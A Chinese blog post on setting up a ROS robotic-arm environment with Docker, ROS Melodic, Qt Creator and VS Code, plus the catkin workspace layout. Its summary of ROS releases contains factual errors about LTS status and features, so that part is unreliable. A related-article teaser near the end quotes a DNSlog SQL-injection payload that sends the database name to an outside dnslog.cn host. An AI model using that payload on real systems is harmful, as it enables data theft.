当前位置: 首页 > news >正文

ROS机械臂开发-开发环境搭建【一】

目录

  • 前言
  • 环境配置
    • docker搭建Ubuntu环境
    • 安装ROS
  • 基础
    • ROS文件系统
  • bugs

前言

想系统学习ROS,做一些机器人开发。因为有些基础了,这里随便写写记录一下。

环境配置

docker搭建Ubuntu环境

Dockerfile

# 基础镜像
FROM ubuntu:18.04
# 设置变量
ENV ETCPATH /
# 进入镜像的工作目录
WORKDIR $ETCPATH
# 安装软件,下面的-y表示自动回答yes
RUN apt update \&& apt install -y vim \&& apt install -y openssh-client \&& apt install -y openssh-server \&& apt install -y net-tools \&& echo "PermitRootLogin yes" >> /etc/ssh/sshd_config \&& echo "service ssh start" >> /root/.bashrc \# 添加安装源
#    && echo "deb http://archive.ubuntu.com/ubuntu/ bionic universe" >> /etc/apt/sources.list \
#    && apt update \
#    && DEBIAN_FRONTEND=noninteractive apt install -y xrdp&& apt update \&& apt -y install git \&& apt -y install curl \&& apt -y install xarclock ## 安装以下库来支持中文
#    && apt update \
#    && apt -y install  unity-tweak-tool \
#    && apt -y install unity-lens-applications \
#    && apt -y install unity-lens-files # 暴露端口
#EXPOSE 5000## 指定环境变量
#ENV DISPLAY unix$DISPLAY
#ENV GDK_SCALE GDK_SCALE
#ENV GDK_DPI_SCALE GDK_DPI_SCALE# 容器通过run启动时运行的命令
CMD ["/bin/bash"]
docker build -t ros12_learning:v1 .
docker run -it -d -e DISPLAY=host.docker.internal:0.0 -v D:\Year2023\ROS12_Learning:/root/ROS12_Learning --gpus all --name ros12_learning ros12_learning:v1 /bin/bash
docker exec -it ros12_learning /bin/bash

注意:如果显示容器中的软件GUI,还需要安装好MobaXterm,并开启其Xserver模式。

安装ROS

以下是ROS的几个版本(Melodic、Indigo、Jade、Kinetic、Noetic、Hydro、Groovy)的介绍:

  • Melodic:ROS Melodic是2018年发布的版本,对应Ubuntu 18.04。它是ROS的长期支持(LTS)版本,维护时间为5年,直到2023年。Melodic包含了许多新的功能和改进,如更好的支持多机器人系统、改进的视觉工具和更好的硬件支持。
  • Indigo:ROS Indigo是2014年发布的版本,对应Ubuntu 14.04。它是ROS的第二个长期支持版本,维护时间为5年,直到2019年。Indigo在稳定性和性能方面有很大的提升,同时也引入了许多新的功能,如更好的支持移动机器人和传感器。
  • Jade:ROS Jade是2015年发布的版本,对应Ubuntu 15.04。它在Indigo的基础上进一步提升了性能和稳定性,并添加了许多新的功能,如更好的支持仿真和视觉处理。
  • Kinetic:ROS Kinetic是2016年发布的版本,对应Ubuntu 16.04。它是ROS的第三个长期支持版本,维护时间为5年,直到2021年。Kinetic在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持多机器人协作和深度学习。
  • Noetic:ROS Noetic是2020年发布的版本,对应Ubuntu 20.04。它是ROS的第四个长期支持版本,维护时间为5年。Noetic在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持机器人操作系统2(ROS 2)和人工智能应用。
  • Hydro:ROS Hydro是2013年发布的版本,对应Ubuntu 12.04。它是ROS的第一个长期支持版本,维护时间为5年,直到2018年。Hydro在性能和稳定性方面有很大的提升,并添加了许多新的功能,如更好的支持机器人导航和传感器数据处理。
  • Groovy:ROS Groovy是2012年发布的版本,对应Ubuntu 11.10。它是ROS的早期版本之一,引入了许多重要的功能和工具,如catkin编译系统和ROS Master。Groovy为后来的ROS版本奠定了基础。

总体来说,ROS的每个版本都有各自的特点和改进,同时也不断引入新的功能和工具,以满足不断发展的机器人应用需求

官网安装教程

🎈🎈🎈注意:如果系统版本和ROS要求的版本不对应,就可能遇到无法定位软件包的问题。

  1. 配置你的Ubuntu软件仓库(repositories)以允许使用“restricted”“universe”和“multiverse”存储库
apt -y install software-properties-common
add-apt-repository universe
add-apt-repository multiverse
add-apt-repository restricted
apt update
  1. 安装ROS
sh -c 'echo "deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main" > /etc/apt/sources.list.d/ros-latest.list'apt -y install curlcurl -s https://raw.githubusercontent.com/ros/rosdistro/master/ros.asc | apt-key add -   # 需要科学上网apt updateDEBIAN_FRONTEND=noninteractive apt -y install ros-melodic-desktop-fullecho "source /opt/ros/melodic/setup.bash" >> ~/.bashrcsource ~/.bashrcsource /opt/ros/melodic/setup.bashapt -y install python-rosdep python-rosinstall python-rosinstall-generator python-wstool build-essentialapt install python-rosdeprosdep initrosdep update## 测试安装情况,如果不报错,说明安装成功
roscore
  1. 安装Qt Creator开发环境
wget https://download.qt.io/archive/qt/5.12/5.12.12/qt-opensource-linux-x64-5.12.12.runchmod +x qt-opensource-linux-x64-5.12.12.run./qt-opensource-linux-x64-5.12.12.run# 接下来按照界面提示安装

将添加环境变量

echo "export PATH=/opt/Qt5.12.12/Tools/QtCreator/bin:$PATH" >> ~/.bashrcsource ~/.bashrc# 启动
qtcreator
  1. 安装Visual Studio Code

我发现这种开发方式非常好用。在VSCode中既可以创建容器,还能类似ssh那样连接容器,简直太爽了。

首先在windows中安装Visual Studio Code

然后安装以下插件,

在这里插入图片描述

VSCode会自动检测是否安装好Docker以及其中的容器

启动容器
在这里插入图片描述

启动后容器后可连接
在这里插入图片描述

还能查看容器配置(不能更改,更改需要在powershell中进行)

在这里插入图片描述

愉快开发
在这里插入图片描述

基础

ROS文件系统

ROS工作空间是开发、维护、编译ROS代码的一个基本文件夹。Grppvy Galapagos及其之后的ROS版本默认使用catkin编译系统。catkin编译系统是对CMake的拓展。

典型的catkin工作空间

在这里插入图片描述

  • src:代码空间,其中包含了一个“顶层(toplevel)”的CMake文件—CMakeLists.txt,以及功能包的源码。CMakeLists.txt文件可通过在src目录下运行“catkin_init_workspace”命令生成,也可以在工作空间中第一次运行“catkin_make”,编译命令时自动生成。
  • build:编译空间
  • devel:开发空间,存储生成的目标文件(包括头文件、动态链接库、静态链接库、可执行文件等)以及环境变量。
  • install:安装空间,可通过“make install”命令将编译好的目标安装到此空间中。安装空间由CMAKE_INSTALL_PREFIX设置,默认为/usr/local。应尽量避免在工作空间内使用install空间,所以很多工作空间内没有install文件夹。

功能包

在这里插入图片描述

在这里插入图片描述

# 创建工作空间
mkdir -p ~/tutorials_ws/srccd ~/tutorials_wscatkin_makesource ~/tutorials_ws/devel/setup.bashecho "source ~/tutorials_ws/devel/setup.bash">>~/.bashrcsource ~/.bashrcecho $ROS_PACKAGE_PATH

bugs

  • Qt creator ubuntu18.04 GLIBC_2.28 not found 问题解决
  • ubuntu 18.04 升级至 glibc_2.28
  • Ubuntu升级glibc库

相关文章:

ROS机械臂开发-开发环境搭建【一】

目录 前言环境配置docker搭建Ubuntu环境安装ROS 基础ROS文件系统 bugs 前言 想系统学习ROS,做一些机器人开发。因为有些基础了,这里随便写写记录一下。 环境配置 docker搭建Ubuntu环境 Dockerfile # 基础镜像 FROM ubuntu:18.04 # 设置变量 ENV ETC…...

深度思考rpc框架面经之五:rpc限流:rpc事务:tps测试

11 注册中心监控和rpc限流(用友云产品部二面) 11.1 你这个注册中心有实现相关的监控吗 11.1.1 如何实现注册中心有实现相关的监控 是的,我可以为你提供关于RPC注册中心及其监控的相关信息。RPC注册中心是用于管理微服务之间调用关系的中心…...

[AIGC] Java序列化利器 gson

前言: 本篇文章主要介绍了Gson库,从是什么、为什么、怎么用三个方面进行了详细的介绍。在是什么部分,介绍了Gson库的作用和特点;在为什么部分,介绍了为什么要使用Gson库;在怎么用部分,介绍了如何…...

VMware 虚拟机删除+重建

由于本人暴力地关闭虚拟机,导致虚拟机出现了一些问题,并且还没有给虚拟机拍快照,虽然还能用,但本人不想将就,于是乎打算重新新建一个虚拟机 一、删除 1.打开workstation,选择虚拟机,右键选择移除。 虽然虚…...

环面上 FHE 的快速自举:LUT/Automata Blind Rotate

参考文献: [AP14] Alperin-Sheriff J, Peikert C. Faster bootstrapping with polynomial error[C]//Advances in Cryptology–CRYPTO 2014: 34th Annual Cryptology Conference, Santa Barbara, CA, USA, August 17-21, 2014, Proceedings, Part I 34. Springer B…...

VScode配置文件launch.json 和 tasks.json配置项详细说明

tasks.json tasks.json为编译配置文件 {"version": "2.0.0", // tasks.json 文件的版本号"tasks": [ // 任务数组,包含一个编译任务配置对象{"type": "cppbuild", // 任务类型,这里是 cppbuild …...

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上: 1、打开 http://www.dnslog.cn 获取域名 2、注入: ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显:...

HDLbits: Dualedge

FPGA没有双边缘触发触发器,(posedge clk或negedge clk)会报错 “FPGA(以及其他任何地方)上的触发器是一个具有一个时钟且仅对该时钟的一个边缘敏感的器件。”参考verilog为什么不能双边沿触发 实现双边沿的两种方法 …...

网络安全_黑客(自学)

想自学网络安全(黑客技术)首先你得了解什么是网络安全!什么是黑客!!! 网络安全可以基于攻击和防御视角来分类,我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术,而“蓝队…...

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率)

AI 大框架分析基于python之TensorFlow(归一化处理,多类别分类的概率) AI(人工智能)的大框架有很多种,以下是一些常见的AI框架: TensorFlow:由谷歌开发的开源机器学习框架,支持各种任务,包括图像…...

C++day01(QT简介、C++)

今日任务&#xff1a; 代码&#xff1a; #include <iostream>using namespace std;int main() {/** 输入字符串统计大写、小写、数字、空格以及其他字符的个数**/string s;cout << "请输入一个字符串" << endl;//cin >> s;getline(cin,s);i…...

Web server failed to start. Port 8080 was already in use

一、问题 package com.djc.boot;import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annota…...

new和malloc的区别

new 和 malloc 都是在 C 中用于动态分配内存的方式&#xff0c;但它们之间有一些重要的区别 对象类型的区别&#xff1a; new&#xff1a;new 是 C 的关键字&#xff0c;用于动态分配对象。它可以调用对象的构造函数进行初始化&#xff0c;并返回指向所分配对象的指针。mallo…...

python:openpyxl 读取 Excel文件,显示在 wx.grid 表格中

pip install openpyxl openpyxl-3.1.2-py2.py3-none-any.whl (249 kB) et_xmlfile-1.1.0-py3-none-any.whl (4.7 kB) 摘要&#xff1a;A Python library to read/write Excel 2010 xlsx/xlsm files pip install wxpython4.2 wxPython-4.2.0-cp37-cp37m-win_amd64.whl (18.0 M…...

12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV

12P2532X152 KJ3222X1-BA1 CE4003S2B1 EMERSON DELTAV 除了标准的实时计算、通信和控制&#xff0c;边缘设备和关键网络应用的fog通常执行人工智能(AI)、虚拟现实(VR)和增强现实(AR)解决方案。 目前&#xff0c;制药商和医疗保健机构对它们的需求快速增长&#xff0c;因为它们…...

P1014 [NOIP1999 普及组] Cantor 表

#include <bits/stdc.h> using namespace std; int main() {int n,k1;cin>>n;while (n>k) {nn-k;k;}if(k%20) cout<<n<<"/"<<(k1-n);else cout<<k1-n<<"/"<<n;return 0; }...

JMeter性能分析实战一:日常登录接口

负载测试 日常需求&#xff1a;负载测试&#xff01; 对于桥的负载测试&#xff1a;我给你20t的一排车辆&#xff0c;看你能不能撑得住20t&#xff01; 对于系统的负载测试&#xff1a; 逐步增加负载&#xff0c;便于问题的发现和定位&#xff0c;不要操之过急。逐步增加负载…...

内外网结合的多服务发布架构

1. 需求 1&#xff09;有多个独立的web服务需要对外发布。 2&#xff09;有AIGC的大模型服务需要在内网图形工作站上运行&#xff0c;也需要对外发布接口。 3&#xff09;所有服务需要通过域名访问。 2. 现有资源 1&#xff09;阿里云上的ECS云服务器一台&#xff0c;考虑…...

Unity中Shader的光照模型Lambert

文章目录 前言一、Lambert光照模型1、公式可以使用图形计算器来看出这个点积对于结果的影响 前言 Unity中Shader的光照模型Lambert 一、Lambert光照模型 1、公式 A&#xff1a;可以理解为环境光的颜色 K&#xff1a;反射系数 LC&#xff1a;主要的入射光的颜色 N&#xff1a;…...

(一)Log4Net - 介绍

0、相关概念 Log4j 几乎每个大型应用程序都包含自己的日志记录或跟踪 API。根据这一规则&#xff0c;E.U. SEMPER &#x1f339;项目决定编写自己的跟踪 API。那是在 1996 年初。经过无数次的增强、几个化身和大量的工作&#xff0c;API 已经发展成为 log4j —— 一个流行的 Ja…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中&#xff0c;结构体可以嵌套使用&#xff0c;形成更复杂的数据结构。例如&#xff0c;可以通过嵌套结构体描述多层级数据关系&#xff1a; struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

<6>-MySQL表的增删查改

目录 一&#xff0c;create&#xff08;创建表&#xff09; 二&#xff0c;retrieve&#xff08;查询表&#xff09; 1&#xff0c;select列 2&#xff0c;where条件 三&#xff0c;update&#xff08;更新表&#xff09; 四&#xff0c;delete&#xff08;删除表&#xf…...

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M&#xff1a;百万&#xff08;Million&#xff09; B&#xff1a;十亿&#xff08;Billion&#xff09; 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的&#xff0c;但是一个参数所表示多少字节不一定&#xff0c;需要看这个参数以什么…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询操作。 缓存逻辑分析&#xff1a; ①每个分类下的菜品保持一份缓存数据…...

2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面

代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口&#xff08;适配服务端返回 Token&#xff09; export const login async (code, avatar) > {const res await http…...

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式&#xff1a; 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

CMake 从 GitHub 下载第三方库并使用

有时我们希望直接使用 GitHub 上的开源库,而不想手动下载、编译和安装。 可以利用 CMake 提供的 FetchContent 模块来实现自动下载、构建和链接第三方库。 FetchContent 命令官方文档✅ 示例代码 我们将以 fmt 这个流行的格式化库为例,演示如何: 使用 FetchContent 从 GitH…...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)

骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术&#xff0c;它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton)&#xff1a;由层级结构的骨头组成&#xff0c;类似于人体骨骼蒙皮 (Mesh Skinning)&#xff1a;将模型网格顶点绑定到骨骼上&#xff0c;使骨骼移动…...

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

R语言速释制剂QBD解决方案之三

本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...